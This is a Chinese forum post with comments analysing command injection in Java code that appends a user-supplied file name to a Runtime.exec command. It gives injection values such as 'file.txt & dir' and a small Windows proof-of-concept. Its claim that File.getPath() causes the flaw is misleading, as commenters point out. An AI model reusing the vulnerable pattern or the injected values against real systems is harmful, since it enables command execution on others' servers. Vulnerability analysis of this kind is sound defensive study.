浅析java中File.getPath()方法引发命令执行漏洞的成因
这个版块有权限,就发这边吧,分析不到位的地方还请大牛提出宝贵意见,转载请注名出处,土司首发
今天看到某童鞋的提问,大概意思是某执行命令处代码有没有办法利用,详见https://www.t00ls.com/thread-24621-1-1.html.
看不到的童鞋木有关系,代码我已经摘录了,请看:
代码片段1:
try {
String command = "tail -n " + intLineCount + " " + logFile.getPath();
Runtime runtime = Runtime.getRuntime();
Process proc = null;
BufferedReader br = null;
proc = runtime.exec(command);
String dirName = request.getParameter("dirName");
String fileName = request.getParameter("fileName");
String viewType = request.getParameter("viewType");
String lineCount = request.getParameter("lineCount");
String pattern = request.getParameter("pattern");
if (lineCount == null ) lineCount = "1000";
try {
intLineCount = Integer.parseInt(lineCount);
if ( intLineCount > MAXLINE ) {
intLineCount = MAXLINE;
lineCount = String.valueOf(MAXLINE);
}
} catch (Exception e) {
intLineCount = 1000;
}
再看File logFile = new File(microHome + File.separator + "logs" + File.separator + dirName + File.separator + fileName); 这里fileName没做任何处理就直接做字符串拼接操作了,假设拼接后的字符串我们把它称为字符串strA,
看,File logFile = new File(strA),通过将给定路径名字符串strA转换为抽象路径名来创建一个新的File实例,
直接就创建了新的File实例,有人说这会引发血案吗,我们且看看Oracle官方提供的源码:
源码片段1(摘自File类):
/**
* Creates a new <code>File</code> instance by converting the given
* pathname string into an abstract pathname. If the given string is
* the empty string, then the result is the empty abstract pathname.
*
* @param pathname A pathname string
* @throws NullPointerException
* If the <code>pathname</code> argument is <code>null</code>
*/
public File(String pathname) {
if (pathname == null) {
throw new NullPointerException();
}
this.path = fs.normalize(pathname);
this.prefixLength = fs.prefixLength(this.path);
}
/**
* Converts this abstract pathname into a pathname string. The resulting
* string uses the {@link #separator default name-separator character} to
* separate the names in the name sequence.
*
* @return The string form of this abstract pathname
*/
public String getPath() {
return path;
}
/**
* Convert the given pathname string to normal form. If the string is
* already in normal form then it is simply returned.
*/
public abstract String normalize(String path);
我们知道Windows 32位环境下java.io包中FileSystem是一个抽象类,FileSystem类被一个Win32FileSystem类继承,从而实现里面的public abstract String normalize(String path);方法。
我们来跟进一下,
请看构造函数代码1(摘自Win32FileSystem类):
public Win32FileSystem() {
slash = AccessController.doPrivileged(
new GetPropertyAction("file.separator")).charAt(0);
semicolon = AccessController.doPrivileged(
new GetPropertyAction("path.separator")).charAt(0);
altSlash = (this.slash == '\\') ? '/' : '\\';
}
/* Check that the given pathname is normal. If not, invoke the real
normalizer on the part of the pathname that requires normalization.
This way we iterate through the whole pathname string only once. */
public String normalize(String path) {
int n = path.length();
char slash = this.slash;
char altSlash = this.altSlash;
char prev = 0;
for (int i = 0; i < n; i++) {
char c = path.charAt(i);
if (c == altSlash)
return normalize(path, n, (prev == slash) ? i - 1 : i);
if ((c == slash) && (prev == slash) && (i > 1))
return normalize(path, n, i - 1);
if ((c == ':') && (i > 1))
return normalize(path, n, 0);
prev = c;
}
if (prev == slash) return normalize(path, n, n - 1);
return path;
}
我们知道this.path = fs.normalize(pathname);此处相关特殊字符没有被过滤及转义,其结果直接被赋予给path变量,接下来我想小伙伴们都知道会发生什么事了吧.
对的,好基友你说对了,Java里面new File(String)方法中参数可以被污染,我们可以引入特殊字符了.
很好,我们知道,不管是Windows还是*nux系统下面,多个命令是可以放在一行上面的,其执行情况依赖于用在命令之间的分隔符,如:Windows里面的&,*nux下的; && ||等,那么我们就可以构造出这样的语句了吧,fileName = "xxxxx || id"; fileName = "file.txt & dir";
接下来相信大家都知道在哪些场景中可以利用了.
另附针对Windows 32位 JRE6环境下File.getPath()方法引发命令执行漏洞的相关Poc源码:
package org.fengzai.test;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
public class ExecTest {
public static String loadStream(InputStream in) throws IOException {
int ptr = 0;
in = new BufferedInputStream(in);
StringBuffer buffer = new StringBuffer();
while ((ptr = in.read()) != -1) {
buffer.append((char) ptr);
}
return buffer.toString();
}
public static void main(String args[]) {
String fileName = "file.txt | && ";
fileName = "file.txt";
fileName = "file.txt & dir";
File logFile = new File("c:" + File.separator + "logs" + File.separator
+ fileName);
//test special character
System.out.println(logFile.getPath());
String command = "cmd.exe /C type " + logFile.getPath();
try {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
proc = runtime.exec(command);
System.out.println(ExecTest.loadStream(proc.getInputStream()));
System.err.println(ExecTest.loadStream(proc.getErrorStream()));
} catch (IOException e) {
e.printStackTrace();
}
}
}
评论10次
在于new File(String)方法中参数有没有被进行合法检测是否可以被污染
不过有个问题,分析File 类的意义在哪里?觉得和本身漏洞关xi不大。像操作xi统对于管道的支持都是必须的。
很不错的漏洞分析文章。
我错了... 哎
这个准确来说不能算java的安全隐患吧
@h4ckF1y 呵呵,低调发展。
不算java漏洞,是命令构造不严
赞,这其实也不能算java的问题了,任何一个攻程师写runtime.exec(command)这样的代码的时候,必须得弄清楚command是否可控。
呵呵,3ks,其实早就传闻java存在很严重的安全隐患的,目测有一堆问题
分析的不错 我原以为new File()的时候是要在磁盘上建立一个文件的,而且官方没有对特殊字符做过滤,这样一来确实可以构造出命令执行